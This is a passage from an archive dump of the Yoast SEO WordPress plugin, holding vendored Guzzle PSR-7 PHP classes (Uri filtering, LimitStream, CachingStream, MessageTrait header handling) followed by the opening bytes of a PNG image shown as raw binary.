        $new->removeDefaultPort();
        $new->validateState();
        return $new;
    }
    public function withPath($path) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface
    {
        $path = $this->filterPath($path);
        if ($this->path === $path) {
            return $this;
        }
        $new = clone $this;
        $new->path = $path;
        $new->composedComponents = null;
        $new->validateState();
        return $new;
    }
    public function withQuery($query) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface
    {
        $query = $this->filterQueryAndFragment($query);
        if ($this->query === $query) {
            return $this;
        }
        $new = clone $this;
        $new->query = $query;
        $new->composedComponents = null;
        return $new;
    }
    public function withFragment($fragment) : \YoastSEO_Vendor\Psr\Http\Message\UriInterface
    {
        $fragment = $this->filterQueryAndFragment($fragment);
        if ($this->fragment === $fragment) {
            return $this;
        }
        $new = clone $this;
        $new->fragment = $fragment;
        $new->composedComponents = null;
        return $new;
    }
    public function jsonSerialize() : string
    {
        return $this->__toString();
    }
    /**
     * Apply parse_url parts to a URI.
     *
     * @param array $parts Array of parse_url parts to apply.
     */
    private function applyParts(array $parts) : void
    {
        $this->scheme = isset($parts['scheme']) ? $this->filterScheme($parts['scheme']) : '';
        $this->userInfo = isset($parts['user']) ? $this->filterUserInfoComponent($parts['user']) : '';
        $this->host = isset($parts['host']) ? $this->filterHost($parts['host']) : '';
        $this->port = isset($parts['port']) ? $this->filterPort($parts['port']) : null;
        $this->path = isset($parts['path']) ? $this->filterPath($parts['path']) : '';
        $this->query = isset($parts['query']) ? $this->filterQueryAndFragment($parts['query']) : '';
        $this->fragment = isset($parts['fragment']) ? $this->filterQueryAndFragment($parts['fragment']) : '';
        if (isset($parts['pass'])) {
            $this->userInfo .= ':' . $this->filterUserInfoComponent($parts['pass']);
        }
        $this->removeDefaultPort();
    }
    /**
     * @param mixed $scheme
     *
     * @throws \InvalidArgumentException If the scheme is invalid.
     */
    private function filterScheme($scheme) : string
    {
        if (!\is_string($scheme)) {
            throw new \InvalidArgumentException('Scheme must be a string');
        }
        return \strtr($scheme, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz');
    }
    /**
     * @param mixed $component
     *
     * @throws \InvalidArgumentException If the user info is invalid.
     */
    private function filterUserInfoComponent($component) : string
    {
        if (!\is_string($component)) {
            throw new \InvalidArgumentException('User info must be a string');
        }
        return \preg_replace_callback('/(?:[^%' . self::CHAR_UNRESERVED . self::CHAR_SUB_DELIMS . ']+|%(?![A-Fa-f0-9]{2}))/', [$this, 'rawurlencodeMatchZero'], $component);
    }
    /**
     * @param mixed $host
     *
     * @throws \InvalidArgumentException If the host is invalid.
     */
    private function filterHost($host) : string
    {
        if (!\is_string($host)) {
            throw new \InvalidArgumentException('Host must be a string');
        }
        return \strtr($host, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz');
    }
    /**
     * @param mixed $port
     *
     * @throws \InvalidArgumentException If the port is invalid.
     */
    private function filterPort($port) : ?int
    {
        if ($port === null) {
            return null;
        }
        $port = (int) $port;
        if (0 > $port || 0xffff < $port) {
            throw new \InvalidArgumentException(\sprintf('Invalid port: %d. Must be between 0 and 65535', $port));
        }
        return $port;
    }
    /**
     * @param (string|int)[] $keys
     *
     * @return string[]
     */
    private static function getFilteredQueryString(\YoastSEO_Vendor\Psr\Http\Message\UriInterface $uri, array $keys) : array
    {
        $current = $uri->getQuery();
        if ($current === '') {
            return [];
        }
        $decodedKeys = \array_map(function ($k) : string {
            return \rawurldecode((string) $k);
        }, $keys);
        return \array_filter(\explode('&', $current), function ($part) use($decodedKeys) {
            return !\in_array(\rawurldecode(\explode('=', $part)[0]), $decodedKeys, \true);
        });
    }
    private static function generateQueryString(string $key, ?string $value) : string
    {
        // Query string separators ("=", "&") within the key or value need to be encoded
        // (while preventing double-encoding) before setting the query string. All other
        // chars that need percent-encoding will be encoded by withQuery().
        $queryString = \strtr($key, self::QUERY_SEPARATORS_REPLACEMENT);
        if ($value !== null) {
            $queryString .= '=' . \strtr($value, self::QUERY_SEPARATORS_REPLACEMENT);
        }
        return $queryString;
    }
    private function removeDefaultPort() : void
    {
        if ($this->port !== null && self::isDefaultPort($this)) {
            $this->port = null;
        }
    }
    /**
     * Filters the path of a URI
     *
     * @param mixed $path
     *
     * @throws \InvalidArgumentException If the path is invalid.
     */
    private function filterPath($path) : string
    {
        if (!\is_string($path)) {
            throw new \InvalidArgumentException('Path must be a string');
        }
        return \preg_replace_callback('/(?:[^' . self::CHAR_UNRESERVED . self::CHAR_SUB_DELIMS . '%:@\\/]++|%(?![A-Fa-f0-9]{2}))/', [$this, 'rawurlencodeMatchZero'], $path);
    }
    /**
     * Filters the query string or fragment of a URI.
     *
     * @param mixed $str
     *
     * @throws \InvalidArgumentException If the query or fragment is invalid.
     */
    private function filterQueryAndFragment($str) : string
    {
        if (!\is_string($str)) {
            throw new \InvalidArgumentException('Query and fragment must be a string');
        }
        return \preg_replace_callback('/(?:[^' . self::CHAR_UNRESERVED . self::CHAR_SUB_DELIMS . '%:@\\/\\?]++|%(?![A-Fa-f0-9]{2}))/', [$this, 'rawurlencodeMatchZero'], $str);
    }
    private function rawurlencodeMatchZero(array $match) : string
    {
        return \rawurlencode($match[0]);
    }
    private function validateState() : void
    {
        if ($this->host === '' && ($this->scheme === 'http' || $this->scheme === 'https')) {
            $this->host = self::HTTP_DEFAULT_HOST;
        }
        if ($this->getAuthority() === '') {
            if (0 === \strpos($this->path, '//')) {
                throw new \YoastSEO_Vendor\GuzzleHttp\Psr7\Exception\MalformedUriException('The path of a URI without an authority must not start with two slashes "//"');
            }
            if ($this->scheme === '' && \false !== \strpos(\explode('/', $this->path, 2)[0], ':')) {
                throw new \YoastSEO_Vendor\GuzzleHttp\Psr7\Exception\MalformedUriException('A relative URI must not have a path beginning with a segment containing a colon');
            }
        }
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/psr7/src/LimitStream.php000064400000010316147510273100021411 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Psr7;

use YoastSEO_Vendor\Psr\Http\Message\StreamInterface;
/**
 * Decorator used to return only a subset of a stream.
 */
final class LimitStream implements \YoastSEO_Vendor\Psr\Http\Message\StreamInterface
{
    use StreamDecoratorTrait;
    /** @var int Offset to start reading from */
    private $offset;
    /** @var int Limit the number of bytes that can be read */
    private $limit;
    /** @var StreamInterface */
    private $stream;
    /**
     * @param StreamInterface $stream Stream to wrap
     * @param int             $limit  Total number of bytes to allow to be read
     *                                from the stream. Pass -1 for no limit.
     * @param int             $offset Position to seek to before reading (only
     *                                works on seekable streams).
     */
    public function __construct(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $stream, int $limit = -1, int $offset = 0)
    {
        $this->stream = $stream;
        $this->setLimit($limit);
        $this->setOffset($offset);
    }
    public function eof() : bool
    {
        // Always return true if the underlying stream is EOF
        if ($this->stream->eof()) {
            return \true;
        }
        // No limit and the underlying stream is not at EOF
        if ($this->limit === -1) {
            return \false;
        }
        return $this->stream->tell() >= $this->offset + $this->limit;
    }
    /**
     * Returns the size of the limited subset of data
     */
    public function getSize() : ?int
    {
        if (null === ($length = $this->stream->getSize())) {
            return null;
        } elseif ($this->limit === -1) {
            return $length - $this->offset;
        } else {
            return \min($this->limit, $length - $this->offset);
        }
    }
    /**
     * Allow for a bounded seek on the read limited stream
     */
    public function seek($offset, $whence = \SEEK_SET) : void
    {
        if ($whence !== \SEEK_SET || $offset < 0) {
            throw new \RuntimeException(\sprintf('Cannot seek to offset %s with whence %s', $offset, $whence));
        }
        $offset += $this->offset;
        if ($this->limit !== -1) {
            if ($offset > $this->offset + $this->limit) {
                $offset = $this->offset + $this->limit;
            }
        }
        $this->stream->seek($offset);
    }
    /**
     * Give a relative tell()
     */
    public function tell() : int
    {
        return $this->stream->tell() - $this->offset;
    }
    /**
     * Set the offset to start limiting from
     *
     * @param int $offset Offset to seek to and begin byte limiting from
     *
     * @throws \RuntimeException if the stream cannot be seeked.
     */
    public function setOffset(int $offset) : void
    {
        $current = $this->stream->tell();
        if ($current !== $offset) {
            // If the stream cannot seek to the offset position, then read to it
            if ($this->stream->isSeekable()) {
                $this->stream->seek($offset);
            } elseif ($current > $offset) {
                throw new \RuntimeException("Could not seek to stream offset {$offset}");
            } else {
                $this->stream->read($offset - $current);
            }
        }
        $this->offset = $offset;
    }
    /**
     * Set the limit of bytes that the decorator allows to be read from the
     * stream.
     *
     * @param int $limit Number of bytes to allow to be read from the stream.
     *                   Use -1 for no limit.
     */
    public function setLimit(int $limit) : void
    {
        $this->limit = $limit;
    }
    public function read($length) : string
    {
        if ($this->limit === -1) {
            return $this->stream->read($length);
        }
        // Check if the current position is less than the total allowed
        // bytes + original offset
        $remaining = $this->offset + $this->limit - $this->stream->tell();
        if ($remaining > 0) {
            // Only return the amount of requested data, ensuring that the byte
            // limit is not exceeded
            return $this->stream->read(\min($remaining, $length));
        }
        return '';
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/psr7/src/CachingStream.php000064400000011303147510273100021664 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Psr7;

use YoastSEO_Vendor\Psr\Http\Message\StreamInterface;
/**
 * Stream decorator that can cache previously read bytes from a sequentially
 * read stream.
 */
final class CachingStream implements \YoastSEO_Vendor\Psr\Http\Message\StreamInterface
{
    use StreamDecoratorTrait;
    /** @var StreamInterface Stream being wrapped */
    private $remoteStream;
    /** @var int Number of bytes to skip reading due to a write on the buffer */
    private $skipReadBytes = 0;
    /**
     * @var StreamInterface
     */
    private $stream;
    /**
     * We will treat the buffer object as the body of the stream
     *
     * @param StreamInterface $stream Stream to cache. The cursor is assumed to be at the beginning of the stream.
     * @param StreamInterface $target Optionally specify where data is cached
     */
    public function __construct(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $stream, \YoastSEO_Vendor\Psr\Http\Message\StreamInterface $target = null)
    {
        $this->remoteStream = $stream;
        $this->stream = $target ?: new \YoastSEO_Vendor\GuzzleHttp\Psr7\Stream(\YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::tryFopen('php://temp', 'r+'));
    }
    public function getSize() : ?int
    {
        $remoteSize = $this->remoteStream->getSize();
        if (null === $remoteSize) {
            return null;
        }
        return \max($this->stream->getSize(), $remoteSize);
    }
    public function rewind() : void
    {
        $this->seek(0);
    }
    public function seek($offset, $whence = \SEEK_SET) : void
    {
        if ($whence === \SEEK_SET) {
            $byte = $offset;
        } elseif ($whence === \SEEK_CUR) {
            $byte = $offset + $this->tell();
        } elseif ($whence === \SEEK_END) {
            $size = $this->remoteStream->getSize();
            if ($size === null) {
                $size = $this->cacheEntireStream();
            }
            $byte = $size + $offset;
        } else {
            throw new \InvalidArgumentException('Invalid whence');
        }
        $diff = $byte - $this->stream->getSize();
        if ($diff > 0) {
            // Read the remoteStream until we have read in at least the amount
            // of bytes requested, or we reach the end of the file.
            while ($diff > 0 && !$this->remoteStream->eof()) {
                $this->read($diff);
                $diff = $byte - $this->stream->getSize();
            }
        } else {
            // We can just do a normal seek since we've already seen this byte.
            $this->stream->seek($byte);
        }
    }
    public function read($length) : string
    {
        // Perform a regular read on any previously read data from the buffer
        $data = $this->stream->read($length);
        $remaining = $length - \strlen($data);
        // More data was requested so read from the remote stream
        if ($remaining) {
            // If data was written to the buffer in a position that would have
            // been filled from the remote stream, then we must skip bytes on
            // the remote stream to emulate overwriting bytes from that
            // position. This mimics the behavior of other PHP stream wrappers.
            $remoteData = $this->remoteStream->read($remaining + $this->skipReadBytes);
            if ($this->skipReadBytes) {
                $len = \strlen($remoteData);
                $remoteData = \substr($remoteData, $this->skipReadBytes);
                $this->skipReadBytes = \max(0, $this->skipReadBytes - $len);
            }
            $data .= $remoteData;
            $this->stream->write($remoteData);
        }
        return $data;
    }
    public function write($string) : int
    {
        // When appending to the end of the currently read stream, you'll want
        // to skip bytes from being read from the remote stream to emulate
        // other stream wrappers. Basically replacing bytes of data of a fixed
        // length.
        $overflow = \strlen($string) + $this->tell() - $this->remoteStream->tell();
        if ($overflow > 0) {
            $this->skipReadBytes += $overflow;
        }
        return $this->stream->write($string);
    }
    public function eof() : bool
    {
        return $this->stream->eof() && $this->remoteStream->eof();
    }
    /**
     * Close both the remote stream and buffer stream
     */
    public function close() : void
    {
        $this->remoteStream->close();
        $this->stream->close();
    }
    private function cacheEntireStream() : int
    {
        $target = new \YoastSEO_Vendor\GuzzleHttp\Psr7\FnStream(['write' => 'strlen']);
        \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::copyToStream($this, $target);
        return $this->tell();
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/psr7/src/MessageTrait.php000064400000017343147510273100021556 0ustar00<?php

declare (strict_types=1);
namespace YoastSEO_Vendor\GuzzleHttp\Psr7;

use YoastSEO_Vendor\Psr\Http\Message\MessageInterface;
use YoastSEO_Vendor\Psr\Http\Message\StreamInterface;
/**
 * Trait implementing functionality common to requests and responses.
 */
trait MessageTrait
{
    /** @var string[][] Map of all registered headers, as original name => array of values */
    private $headers = [];
    /** @var string[] Map of lowercase header name => original name at registration */
    private $headerNames = [];
    /** @var string */
    private $protocol = '1.1';
    /** @var StreamInterface|null */
    private $stream;
    public function getProtocolVersion() : string
    {
        return $this->protocol;
    }
    public function withProtocolVersion($version) : \YoastSEO_Vendor\Psr\Http\Message\MessageInterface
    {
        if ($this->protocol === $version) {
            return $this;
        }
        $new = clone $this;
        $new->protocol = $version;
        return $new;
    }
    public function getHeaders() : array
    {
        return $this->headers;
    }
    public function hasHeader($header) : bool
    {
        return isset($this->headerNames[\strtolower($header)]);
    }
    public function getHeader($header) : array
    {
        $header = \strtolower($header);
        if (!isset($this->headerNames[$header])) {
            return [];
        }
        $header = $this->headerNames[$header];
        return $this->headers[$header];
    }
    public function getHeaderLine($header) : string
    {
        return \implode(', ', $this->getHeader($header));
    }
    public function withHeader($header, $value) : \YoastSEO_Vendor\Psr\Http\Message\MessageInterface
    {
        $this->assertHeader($header);
        $value = $this->normalizeHeaderValue($value);
        $normalized = \strtolower($header);
        $new = clone $this;
        if (isset($new->headerNames[$normalized])) {
            unset($new->headers[$new->headerNames[$normalized]]);
        }
        $new->headerNames[$normalized] = $header;
        $new->headers[$header] = $value;
        return $new;
    }
    public function withAddedHeader($header, $value) : \YoastSEO_Vendor\Psr\Http\Message\MessageInterface
    {
        $this->assertHeader($header);
        $value = $this->normalizeHeaderValue($value);
        $normalized = \strtolower($header);
        $new = clone $this;
        if (isset($new->headerNames[$normalized])) {
            $header = $this->headerNames[$normalized];
            $new->headers[$header] = \array_merge($this->headers[$header], $value);
        } else {
            $new->headerNames[$normalized] = $header;
            $new->headers[$header] = $value;
        }
        return $new;
    }
    public function withoutHeader($header) : \YoastSEO_Vendor\Psr\Http\Message\MessageInterface
    {
        $normalized = \strtolower($header);
        if (!isset($this->headerNames[$normalized])) {
            return $this;
        }
        $header = $this->headerNames[$normalized];
        $new = clone $this;
        unset($new->headers[$header], $new->headerNames[$normalized]);
        return $new;
    }
    public function getBody() : \YoastSEO_Vendor\Psr\Http\Message\StreamInterface
    {
        if (!$this->stream) {
            $this->stream = \YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::streamFor('');
        }
        return $this->stream;
    }
    public function withBody(\YoastSEO_Vendor\Psr\Http\Message\StreamInterface $body) : \YoastSEO_Vendor\Psr\Http\Message\MessageInterface
    {
        if ($body === $this->stream) {
            return $this;
        }
        $new = clone $this;
        $new->stream = $body;
        return $new;
    }
    /**
     * @param (string|string[])[] $headers
     */
    private function setHeaders(array $headers) : void
    {
        $this->headerNames = $this->headers = [];
        foreach ($headers as $header => $value) {
            // Numeric array keys are converted to int by PHP.
            $header = (string) $header;
            $this->assertHeader($header);
            $value = $this->normalizeHeaderValue($value);
            $normalized = \strtolower($header);
            if (isset($this->headerNames[$normalized])) {
                $header = $this->headerNames[$normalized];
                $this->headers[$header] = \array_merge($this->headers[$header], $value);
            } else {
                $this->headerNames[$normalized] = $header;
                $this->headers[$header] = $value;
            }
        }
    }
    /**
     * @param mixed $value
     *
     * @return string[]
     */
    private function normalizeHeaderValue($value) : array
    {
        if (!\is_array($value)) {
            return $this->trimAndValidateHeaderValues([$value]);
        }
        if (\count($value) === 0) {
            throw new \InvalidArgumentException('Header value can not be an empty array.');
        }
        return $this->trimAndValidateHeaderValues($value);
    }
    /**
     * Trims whitespace from the header values.
     *
     * Spaces and tabs ought to be excluded by parsers when extracting the field value from a header field.
     *
     * header-field = field-name ":" OWS field-value OWS
     * OWS          = *( SP / HTAB )
     *
     * @param mixed[] $values Header values
     *
     * @return string[] Trimmed header values
     *
     * @see https://datatracker.ietf.org/doc/html/rfc7230#section-3.2.4
     */
    private function trimAndValidateHeaderValues(array $values) : array
    {
        return \array_map(function ($value) {
            if (!\is_scalar($value) && null !== $value) {
                throw new \InvalidArgumentException(\sprintf('Header value must be scalar or null but %s provided.', \is_object($value) ? \get_class($value) : \gettype($value)));
            }
            $trimmed = \trim((string) $value, " \t");
            $this->assertValue($trimmed);
            return $trimmed;
        }, \array_values($values));
    }
    /**
     * @see https://datatracker.ietf.org/doc/html/rfc7230#section-3.2
     *
     * @param mixed $header
     */
    private function assertHeader($header) : void
    {
        if (!\is_string($header)) {
            throw new \InvalidArgumentException(\sprintf('Header name must be a string but %s provided.', \is_object($header) ? \get_class($header) : \gettype($header)));
        }
        if (!\preg_match('/^[a-zA-Z0-9\'`#$%&*+.^_|~!-]+$/D', $header)) {
            throw new \InvalidArgumentException(\sprintf('"%s" is not valid header name.', $header));
        }
    }
    /**
     * @see https://datatracker.ietf.org/doc/html/rfc7230#section-3.2
     *
     * field-value    = *( field-content / obs-fold )
     * field-content  = field-vchar [ 1*( SP / HTAB ) field-vchar ]
     * field-vchar    = VCHAR / obs-text
     * VCHAR          = %x21-7E
     * obs-text       = %x80-FF
     * obs-fold       = CRLF 1*( SP / HTAB )
     */
    private function assertValue(string $value) : void
    {
        // The regular expression intentionally does not support the obs-fold production, because as
        // per RFC 7230#3.2.4:
        //
        // A sender MUST NOT generate a message that includes
        // line folding (i.e., that has any field-value that contains a match to
        // the obs-fold rule) unless the message is intended for packaging
        // within the message/http media type.
        //
        // Clients must not send a request with line folding and a server sending folded headers is
        // likely very rare. Line folding is a fairly obscure feature of HTTP/1.1 and thus not accepting
        // folding is not likely to break any legitimate use case.
        if (!\preg_match('/^[\\x20\\x09\\x21-\\x7E\\x80-\\xFF]*$/D', $value)) {
            throw new \InvalidArgumentException(\sprintf('"%s" is not valid header value.', $value));
        }
    }
}
wordpress-seo/images/ai-generator.png000064400000037575147510273100013731 0ustar00�PNG


IHDR�����NPLTE�"h�(Zk"GA3R@gKv!�l%?IKG�RG!�h�s���LQXaZ���Fw�e�"�p=�'��)�`���8��>�IDATx��j1�aI־q��%JH%�*-���@0�X����X_˼^�]�*2�${�|U}8WY��P��:̺�9ګ(?�J�?���ͺ���*���X�Ϻb����-���uy�uw��L^���1ֿ9�
�~
�Ū������󴻳�$��^��:�À�'�5��a�d�j>	:kw@�y#�S�uw7�I���Xϸ�tY�IП��gQ�;C]�S�t٧�~���[I��ݝm �wL�0M��zwg�����]��tw���GG=WE�Hz��;۸��nD���.�g�;�`�سQ?���������g�i��b|яsG�p
��jwgH�k�����r�s_���
�;����n::�@ww�N����vrv"���q�{S��e=��^���{Yv�z�F���6���p5�r�#����; �Z�=&�{�P�{�9Է�}�|����;�����\й�R�yu뻬g?xI�@��@vwrz�T�_���߯�wrQ��t�����N.J�"�H���?�;�-�y,
k�Q�I��Q�Q�c��V��\$���c�A��ٳ|�&C�^>ЉMA���l\�k'����v�U�M�G�7�CP_|�6[L����I��mT{���~诌��7��;(��i�
��J/�&�x��n	?��|�p��|(����m�I�.�yc�w���N�/	�A��6;�.TB�^i��W�O�~��'���zu0�2�����b��2�E��t��>��!�o��A��(ү`VD��~͍jVkm�D����'|�AM��6v��"��|�H�*z����!�W��]�CHx�A��P��r��i�M%�.:n���G�b&�X�{/1����v��&��&�^E�3t�:�=&t��C��K��|OXy9����+��9D��Q‡|R����L�C�s�+�c�]]��P�nb���ﱄ@�L���L�Rb�f�iޅ�D��y,���F��x��ݮ0]R�G�EW$��tF�S\��O�J���^a��`:�d	Q�v�
�)]�|��RJ(��eMw"��&��zi�q�ˢ�n3\E?���0]:�
o�"�����8����Dw�-:C;���.��<|y�w��t�c�S�%��Do���T�}�����D�{w��3]f�tD/�V��I���*z)�Z��7]}�:/���n��Ǒ�Ln��w�t��]���W�]��^����kӵ]6]e�.ߊnde�����w~�o z�t�l:�|�AP$��3[�G����l�6=���L�;/�j�eNt�'W������t�p�=d�����1Lc*t�
�*��~����hzP��/T臕�벢��kk6�g� K��������g�+����L"��yk�{Q��޽�~�"�4��n�HT�Ė+Y �!:��&Ûӹf����辀�X���F�MOR]��YN��:�]����v�t#)]uo~[^6�Zl�ޮ<a��MW"�Ɨ/G�֘����3Mg��r�4N��ݯ���J��!��e8��I����E�ݛ8!:XO�H�>7]��]�$z�.zl�6H�\�g�t�	��Do7���gۥ�f<e�kkDw��q8^���Ӈ��?3� �c=o�c�R��H��t%�]�g��CE8%Ǜ.)y�>�<�`=���]Mwخ���n���m%�.�ˋε��kt��#�`z�H���9.����t� �t�X�76c��^ּ]s��3-�?���k�~[�H�4]%�.+}<S�����ŷ8/jz9�
��tQ��*�����+��a�����MO��Q־]�*��m����GtH$�n2E:������{~��#:�����a�D:ɱ��#�K=�;>�ֳF��{"���C���뵁��F��0m�J]|���vR
�����_t�F�7=�q�QV-���t���U_�E0=��Y"}�u?��>����\��`��7��@�H*0v/)zl���CtWQ���>Mt-'�[s/���ѱ]Fr|�n$}���"��ע�Ϸ
�u/:@�Λ�(i�F�$[�ٵ6�uq�0��!:���x�T�c-$��|��]�w��9��A~^?7��D�w�-����/*zT����!(ШG�{��w?���$��+D?=�ˀ�:�	O����H0ݼZ���5�j��2�$x��7��|�K�A�\s����w���u";t�Y���y�5:�NP ��� z#�m�0#���ٚg�}隻��s�<�N�B�z0ݼԤ����*��f^�_��&p�;x;jk��4��_�pw[�5b����|~��]�ʊ�L�No��C�~�P�Ż�,�l��75#J�I��N� SMw�D׉��Y�ޗ�ktPf&��	�7�
�;X�]-�c���ԃ�&�I'�4�q�&�+,:���Iyɪ[�{�R�$�y���|��ԇ�i��u���sѻ�ԿF(�m���&�7^P�/o-;�s�
�QP���`�Il҉��Kz���l��tB���Q�T[�w'6�>���P�施v��]-��(������]���ss�\'���-z����xW�E�f�Nw2�6�+/z�@�e� ��=�]��w�v˃<HuEl��n��y��h�]��T��L�nM�n��t�M��1\��v�o�xϙ8���]�X�Bݱ�ϑ.SD�w.2Ue�s���9/�;�UT��!:�o��mM:ݘDo~��!�#\�<���T��C?Bt�����N�WJ�	��F A3�R�SE�TҪ��}Y�{~�]8�Z�ŐW�#�f�辀��E������F����Jt'��o�8���|�\.�{�܈<�PѱF���W������ᚇ����M�_�q�h�	�!|��"�������
gj�m�;є���4��7��M`��13�$z[�C���)��o�ò��Iw��8^�:;�W�;��{%�5$zm���B��5{.�x��{���6t��-zu�5�U�i�f�mɁ4?���4KX�C����@u���W<�C�Is��D��VCtU�a�܁N�9v=0����<o��S~_Vt(��r��l�wˢ�u���x<z��z�@����WE7��m�~9N�{�.����~��UtD�ޯyD�=޸�*zQ�/Ĺ�fm��{�����w�y�w,��S��5�'�7���s
�G"N-��Ż+#:DB��a���E�YD�|}�a�5���2�}H�9E��km���pLj�qp��@H�{N��_��v�;��M�zW����;�?�"c�_�[Lt^��`�e�_p�k�b�<�Z�t�
'���'��v��Atl�݉�S��]t��M���#���Ŗ%H̐g���M�ݍ���?a��I�n/Ͽ@��Yt� z�.oo{��p�b�N�!��Y\s%Qt�ٵ#:k����g¿���p:��}DW��mf�Yܷ��\��rd<�Stѕ4	'�8����M3���Q�΋Η�3�ŻGe}?#�y�}y�JwG�ߑI���b��񯌯Ft�*�e�\���2ɣN�]�`�f�0����7�7Y��yE7ݲ�L�Δ�sϋ^~�P�K>�íW�<��e7:0YNDb�o�3��e�k�q��[����{��VDn�P���u�r)"˹&=����f��_���V�}i��N�\����w�3�ce��L�^@t�l�w�/>�8�.�T�[P�"06��4�]w�p��7w�D��q��٭��&M��|dE�yYt����I����޵]�g��N&�U��љ&��輤��˥��3�W$:�am&�^����.���璢ڶ�q~,*:@�.I�d&���"��ݤ�S�k/��p%���0s��T�F� ߌ�E���rs��+Ut~�/�P�;���ta�At��IO�m�ʽ��R��v�\�&iIpK�$��i�":�]����9�|}�t^�F�ȷ`� zy�]��;@����ݔ�E���2��VCt�����8�'�}��o�#R��MzN�[��NKZt7iE:#zܤ��}�,R)e�wLt]Ft%ʈ�R$��(�	z(�GA���!�#��_��0͝-��۵�Z���a<���K��o��QH??��>�Ct6�;��l����Q��V�fR�yt�1F�
_�'�{�8��I?5/�5_����.EA �z��ٛIyPw���^�y��]!�$�)v��T����;g�����?4ߊn�&}��#Do����|�ˣH�j2<꽭��m��|�� ��ѝS��s6���m̲覌�fq�����DǑ4�D��mw���������3$���ճ��fDžIM:/z�$�!:@��$=�t���@̉>���I?�S�แ�1H�z�X�KZ��͢۳�E�_�7F?�n�Y]�]��	�H7��B}�t�Tt�U�5F?v��<��G��H�ȁy��((�Ţ� ��E�k�����D��?6J⮆�4��%�C�ބ�:Ӥ�X� ;=����L�NbQ�P��Ht�v�D�eo����������3a�����b�����&Z�3�;'�����|� :+{�UC%�5�H7�M���#��835��v���4�d�U�!zyIn�6C_jw�jgD�kw^t�vk&�
��
�� pr��n��_*��j���nG�C��ڝ�1�_gkw^�LX�x���Nk%�
HƵ��oi>򑾓�|ĿEtA�8���s��X�Ϣ�7�`Dώ���?���	�{^�+$��t�~/�D�0�/׶K�$���tNt���3�d��4D�k�g��Ht&��n��7�	]|�B�
@_kw!�^�GgD����qkth�k�'������ۥ�v7�m��v
�I�kw^t�I�_�k���|n�-�!����Q�Dtmљ&�^�g&�kZ漌�`j�����׊�(�q8�zRѷ�C��v��ᬠ��O����v���@�q��E�u�
«�G�M:�t��&����At�L����~�U�{���h����1��1�?4�!�������\�tw��|��D��4餞&z�$4��Ew���X �$��f���O���K����~^�E�X�f�-#:���H�Mz�E�΢�G���r��C��q���g��Ց5�K�H"�
�f�^0� �
�ٽ����d<�q�T���6��G����W_w�K�Hwo������;�oA���%�t�]�o@O�o����>�]�K�d���	t�J�1Y��*t�Z�K���{6�w=}���E��][�܁�j�~�$�l���q�)��"];�t1��w�Le�z-�_.9�E:v�g���d����:$U�W�W-��߇��.�_.9�n��z�CǨ~/��g.�Q�e�s�ەꗄ.�awr�Ƕ�c����P�"�m���wl��%�Kr؝T"}:�����֙�S�m�����ׄ.	t,ұL߆�6=���n�w:]���ko۵z7E��{�W�K/��-�!�,@�7�n�$퇎�jτN�g��Չ^�tIr��U���^<�v�B߻+��>���e�㶦��~\�k��d��C��;��t��]���A:��S:�WY��z㗥N�t�e�c��e��I�q��&c��w��jo������u�Kr~
��X����n��dK�Stt,thDZ�i�r@�7֫�/]��Z��z<8W�)���]�/�UWݱ:��fM�����%�E��Ԭ9���[����AG�tm�\r�˙�.	t�֡�.������HO��{��U�s-��V/C��=B���,7���X���[�d���K�Z�V^fJ���
�.Z���*���w�8����`��tIrz:]vqF���ӫ`�}�k@�����e��]zq�]ݠ��qMzw�"������6���DG/]���t?����E��/�9����}��?��w��t?�ŠKr"�:}��=n�����:���,z�O
����n?��W�.I>�Ԁ���ѿ}�͡�t��ʘ較�48ڞ�w�����s�AO��=z	�eW0-�?}��DO���0Tt�'�r>B'@�қwŸ��5����(̟X��$.���׶�Y�K/��=���M�~�"��/�QQD藽Qh#v�tIί�YkнK���g�k8���]M��_�t� S�e�z�Ss�[�_��S���4��1�c�t���)��ГCv�����F�o�7舆%�.�4_ԯ]��~
��B���m_�̭�6:�>6�}_<_�]:}�!���>�`3�yW����K$]:{�t��a����ۿH�m_���:��eG3�F��$/=N#�*��E:�G�x;����x��G�%)�^�N������I�C��0��:脁~(�Pt��_s:���^~l�"����D:���/9���D?�>��=��Nk��4,����''�*�.�?`݄�t���A��sH��h�S�9:���^t��:mA�K�.��XO<B��7���]:s��U������Ez=[�C:�K�C��Z�K�p~-z,��{��I5Y��(��ϟ�9a�?
�

�,Х3��k��5���`Q�A��
o�ֈ��YK�:賈����mz��~蒼>d:ѭ�6����I;��"���Q�(����4����G<��klY�Kg.r]��n��c�E��"=�9�:��*�
���~y����Г'jG�@�N�]oNt�o=����v\�5?�f�})�����t:z�%����Ӊ�B����ktܴ��!�.�Q�	�{�/]��e�V?���u�{�pN4ܴ�z���:�H�xE)Tt��mA�e5yH�BO_O���5J�S]���z�]���Н�����'���֓��4O��_�.�:�}�R�n7tHÛ@�m|��zkt�%-@����'�@�X��]��;��5����,Tt���5���;=�n}V�"U��H��@��w9�;�1�U]:sN����"}��,dl��3�cy�J�K���z�l�{+�~9:���$�|�]/Z�D��>p�B;�o�^Wu:�٘i�?���EEW����s�|r�K�'���[�W�V8�N�>�|�s�=�E�^�K�M'^��z/;9�F	��EzmQ��a�n��.���&HV��ɏ���u�[�u��5���)��!�qߝF�z�}wI�{���CW)t��H�'Г�Z�H���b�ߠ��S�Kr4.��S�qL'C���?�}������.�}W�^�@4;2 ��'N�	t�}�L�"�N:�t��ku5z6$���M�8A���������5
�,j��/Wٰ$�K��%I`IK9����+�;�C�����E�_��~�$����'z�H�{�)t��2�B�N��8���DO���ڮ3��ʛ0QU�U��r�H�K`O��y=�^F-B�{�G�T��89���}�l��Cɡ��'G�4���uw	��Ezֻ���ۛZd�#O��Бv�#]��;�	=c�^��@G��ϻ}��ON4>�O��IM��u��/$��H��v
